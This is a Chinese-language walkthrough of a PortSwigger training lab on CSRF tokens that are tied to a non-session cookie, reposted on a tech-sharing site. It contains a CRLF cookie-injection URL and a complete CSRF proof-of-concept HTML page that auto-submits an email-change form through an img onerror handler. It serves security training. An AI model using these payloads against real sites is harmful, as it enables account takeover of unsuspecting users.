ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Lab: CSRF where token is tied to non-session cookie:CSRF,其中令牌与非会话 cookie 相关联

2021-08-26 12:03:38  阅读:306  来源: 互联网

标签:non 浏览器 帐户 令牌 漏洞 cookie CSRF


在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 cookie,但与用于跟踪会话的 cookie 不同。当应用程序使用两种不同的框架时,这很容易发生,一种用于会话处理,一种用于 CSRF 保护,它们没有集成在一起:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

这种情况更难利用,但仍然容易受到攻击。如果该网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,那么攻击就有可能发生。攻击者可以使用自己的帐户登录应用程序,获取有效的令牌和关联的 cookie,利用 cookie 设置行为将其 cookie 放入受害者的浏览器,并在 CSRF 攻击中将其令牌提供给受害者。

内容

本实验室的电子邮件更改功能易受 CSRF 攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并没有完全集成到站点的会话处理系统中。

要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

您在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:

wiener:peter
carlos:montoya

方法

使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察更改sessioncookie会使您注销,但更改csrfKeycookie 只会导致CSRF 令牌被拒绝。这表明csrfKeycookie 可能没有严格绑定到会话。
打开私人/隐身浏览器窗口,登录到您的另一个帐户,然后向 Burp Repeater 发送新的更新电子邮件请求。
请注意,如果您将csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,则请求被接受。
关闭转发器选项卡和隐身浏览器。
image
返回原始浏览器,执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
创建一个使用此漏洞的 URL 将您的csrfKeycookie 注入受害者的浏览器:
/?search=test%0d%0aSet-Cookie:%20csrfKey=your-key
按照CSRF 漏洞的解决方案中所述,创建并托管一个概念验证漏洞,没有防御实验室,确保您包含您的CSRF 令牌。应该从电子邮件更改请求中创建漏洞利用。
删除该script块,而是添加以下代码以注入 cookie:
<img src="$cookie-injection-url" one rror="document.forms[0].submit()">

代码如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac0e1f611fe5f5508015117d00d600e5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ExtArE&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="KIf1G524oAno0ii8RMufcK2EyuisbCSw" />
    </form>
<img src="https://ac0e1f611fe5f5508015117d00d600e5.web-security-academy.net/?search=test;Set-Cookie: csrfKey=KX3SZtol2d02yBrBDzyI36Q8iu1ivajS;" one rror="document.forms[0].submit()">
  </body>

</html>

存储漏洞,然后单击“交付给受害者”以解决实验室问题。

标签:non,浏览器,帐户,令牌,漏洞,cookie,CSRF
来源: https://www.cnblogs.com/Zeker62/p/15188852.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有